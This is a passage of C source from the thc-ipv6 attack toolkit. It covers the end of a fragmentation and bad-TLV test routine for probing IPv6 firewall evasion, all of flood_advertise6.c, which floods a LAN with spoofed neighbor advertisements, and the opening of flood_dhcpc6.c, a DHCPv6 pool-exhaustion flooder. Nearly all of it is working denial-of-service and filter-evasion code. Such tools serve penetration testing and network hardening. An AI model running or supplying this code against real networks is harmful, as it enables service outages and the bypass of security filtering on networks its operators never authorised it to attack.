if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 1232 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 1232 + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2464 / 8, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 2464 + 40 + offset, hdr->pkt_len - 2464 - 40 - do_hdr_size) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type middle(first)+last\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 1232 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 1232 + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2464 / 8, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 2464 + 40 + offset, hdr->pkt_len - 2464 - 40 - do_hdr_size) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type last\t\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 1232 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 1232 + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2464 / 8, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 2464 + 40 + offset, hdr->pkt_len - 2464 - 40 - do_hdr_size) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type last #2\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; // interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - // myoff, 1232, 0 thc_send_as_overlapping_last_fragment6(interface, src, dst, NXT_ICMP6, hdr->pkt + 40, hdr->pkt_len - 40, 1232, 0); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: overlapping ping first\t\t", count); poffset = 0; ptype = NXT_FRAG; memset(buf, 0, 1024); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt3, &pkt_len3, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt3, &pkt_len3, buf, 6) == -1) return -1; if (thc_add_icmp6(pkt3, &pkt_len3, ICMP6_ECHOREQUEST, 0, sport + count, buf, 8, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3) == -1) return -1; hdr3 = (thc_ipv6_hdr *)pkt3; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset, 16) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr->pkt + 40 + offset + 16, hdr->pkt_len - 40 - offset - 16) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 8 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset + 8, 24) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); pkt3 = thc_destroy_packet(pkt3); pingtest = 1; check_for_reply(); pingtest = 0; curr++; } if (only == ++count || only == 0) { printf("Test %2d: overlapping ping last\t\t", count); poffset = 0; ptype = NXT_FRAG; memset(buf, 0, 1024); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt3, &pkt_len3, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt3, &pkt_len3, buf, 6) == -1) return -1; if (thc_add_icmp6(pkt3, &pkt_len3, ICMP6_ECHOREQUEST, 0, sport + count, buf, 8, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3) == -1) return -1; hdr3 = (thc_ipv6_hdr *)pkt3; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset, 16) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 8 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset + 8, 24) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr->pkt + 40 + offset + 16, hdr->pkt_len - 40 - offset - 16) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); pkt3 = thc_destroy_packet(pkt3); pingtest = 1; check_for_reply(); pingtest = 0; curr++; } if (only == ++count || only == 0) { printf("Test %2d: resend 2nd fake pkt\t\t", count); poffset = 0; ptype = NXT_FRAG; memset(buf, 0, 1024); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 40) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 40) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt3, &pkt_len3, buf, 14) == -1) return -1; if (thc_add_hdr_dst(pkt3, &pkt_len3, buf, 6) == -1) return -1; if (thc_add_icmp6(pkt3, &pkt_len3, ICMP6_ECHOREQUEST, 0, sport + count, buf, 32, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3) == -1) return -1; hdr3 = (thc_ipv6_hdr *)pkt3; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt2, &pkt_len2, buf, 512 - 2) == -1) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset, 16) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt2, &pkt_len2, buf, 512 - 2) == -1) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr3->pkt + 40 + offset + 16, 32) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt2, &pkt_len2, buf, 512 - 2) == -1) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr->pkt + 40 + offset + 16, 32) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt2, &pkt_len2, buf, 512 - 2) == -1) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 6, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_DST, hdr->pkt + 40 + offset + 48, hdr->pkt_len - 40 - offset - 48) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); pkt3 = thc_destroy_packet(pkt3); pingtest = 1; check_for_reply(); pingtest = 0; curr++; } if (only == ++count || only == 0) { printf("Test %2d: Bad TLV handling\t\t", count); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) == -1) return -1; buf[0] = 1; // T buf[1] = 12; // L if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_hopbyhop(pkt2, &pkt_len2, buf, 6) == -1) return -1; buf[0] = 1; // T buf[1] = 4; // L if (thc_add_hdr_dst(pkt2, &pkt_len2, buf, 6) == -1) return -1; if (thc_add_tcp(pkt2, &pkt_len2, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt2; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ECHOREQUEST, 0, count, hdr->pkt + hdr->pkt_len - 20, 20, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); pingtest = 1; check_for_reply(); pingtest = 0; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); memset(buf, 0, sizeof(buf)); curr++; } if (only == ++count || only == 0) { printf("Test %2d: Bad TLV handling #2\t\t", count); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; buf[0] = 1; // T buf[1] = 12; // L if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; buf[0] = 1; // T buf[1] = 12; // L buf[6] = NXT_TCP; // fake dst hdr buf[7] = 1; // 16 byte length of fake hdr, jumping over 8 byte of icmp hdr buf[8] = 1; // T fake buf[9] = 12; // L fake if (thc_add_hdr_dst(pkt, &pkt_len, buf, 14) == -1) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt2, &pkt_len2, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt2; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ECHOREQUEST, 0, count, hdr->pkt + hdr->pkt_len - 20, 20, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); pingtest = 1; check_for_reply(); pingtest = 0; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); memset(buf, 0, sizeof(buf)); curr++; } if (only == ++count || only == 0) { printf("Test %2d: Bad TLV handling #2 reverse\t", count); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; buf[0] = 1; // T buf[1] = 12; // L if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; buf[0] = 1; // T buf[1] = 12; // L buf[6] = NXT_ICMP6; // fake dst hdr buf[7] = 3; // 32 byte length of fake hdr, jumping over 24 byte of tcp hdr buf[8] = 1; // T fake buf[9] = 28; // L fake if (thc_add_hdr_dst(pkt, &pkt_len, buf, 14) == -1) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_ECHOREQUEST, 0, count, NULL, 0, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt2; memset(hdr->pkt + hdr->pkt_len - 12, 0, 4); if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, hdr->pkt + hdr->pkt_len - 12, 12) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); pingtest = 1; check_for_reply(); pingtest = 0; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); memset(buf, 0, sizeof(buf)); curr++; } if (only == ++count || only == 0) { i = 0; ch = 'a'; is_srcport = 1; if (udp == 0) { while (sports[i] != -1) { printf("Test %2d%c: plain with srcport %d \t", count, ch++, sports[i]); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt, &pkt_len, sports[i], port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 0) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); i++; } } else { while (sports2[i] != -1) { printf("Test %2d%c: plain with srcport %d \t", count, ch++, sports2[i]); poffset = 0; ptype = -1; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt, &pkt_len, sports2[i], port, 0, buf, 1000) == -1) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); i++; } } curr++; is_srcport = 0; } /* ----------------- END OF TEST CASES ---------------- */ printf("\nDone.\n"); thc_pcap_close(p); return 0; } thc-ipv6-3.8/flood_advertise6.c000066400000000000000000000072001376121567700164450ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-k | -m mac] interface [target]\n\n", prg); printf("Flood the local network with neighbor advertisements.\n"); printf( "Option -k sends with your real src mac, -m with a specified src mac, " "random for each packet otherwise.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = ""; unsigned char *mac6 = mac, *ip6; unsigned char buf[24], srcmac[8] = "", *smac = NULL; unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst); int i; unsigned char *pkt = NULL; int pkt_len = 0, flags, rawmode = 0, count = 0, prefer = PREFER_LINK, keepmac = 0; if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) { keepmac = 1; if ((smac = thc_get_own_mac(argv[2])) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", argv[2]); exit(-1); } argv++; argc--; } if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) { sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); smac = srcmac; argv += 2; argc -= 2; } if (smac != NULL) mac6 = smac; if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc == 3) { if ((dst = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: invalid target IPv6 address\n"); exit(-1); } else { dstmac = thc_get_mac(interface, NULL, dst); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL; } ip6 = thc_get_own_ipv6(interface, dst, prefer); mac[0] = 0x00; mac[1] = 0x18; memset(ip6 + 8, 0, 8); ip6[8] = 0x02; ip6[9] = mac[1]; ip6[11] = 0xff; ip6[12] = 0xfe; memset(buf, 0, sizeof(buf)); buf[16] = 2; buf[17] = 1; buf[18] = mac[0]; buf[19] = mac[1]; memcpy(buf, ip6, 16); flags = ICMP6_NEIGHBORADV_OVERRIDE; printf( "Starting to flood network with neighbor advertisements on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 2; i < 6; i++) mac[i] = rand() % 256; // ip6[9] = mac[1]; ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; count++; memcpy(buf + 10, ip6 + 10, 6); memcpy(&buf[20], mac + 2, 4); if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", // count, interface); perror(""); return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/flood_dhcpc6.c000066400000000000000000000171401376121567700155440ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char *interface = NULL, *dns_name = NULL, elapsed[6] = {0, 8, 0, 2, 0, 0}; int counter = 0, do_dns = 0; // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand char solicit[] = {0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0e, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char dnsupdate1[] = {0, 39, 0, 8, 1, 6, 122, 97, 97, 97, 97, 97}; char dnsupdate2[] = {0, 6, 0, 2, 0, 39}; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-n|-N] [-1] [-d domain-name] interface [dhcpserver]\n\n", prg); printf( "DHCP client flooder. Use to deplete the IP address pool a DHCP6 server " "is\n"); printf( "offering. Note: if the pool is very large, this is rather senseless. " ":-)\n\n"); printf( "By default the link-local IP MAC address is random, however this won't " "work\n"); printf( "in some circumstances. -n will use the real MAC, -N the real MAC and\n"); printf( "link-local address. -1 will only solicate an address but not request " "it.\n"); printf("If -N is not used, you should run parasite6 in parallel.\n"); printf("Use -d to force DNS updates, you must specify a domain name.\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, pkt_len = 0, mlen = 10, olen; unsigned char *ptr = (unsigned char *)data, *pkt = NULL; char * smac, 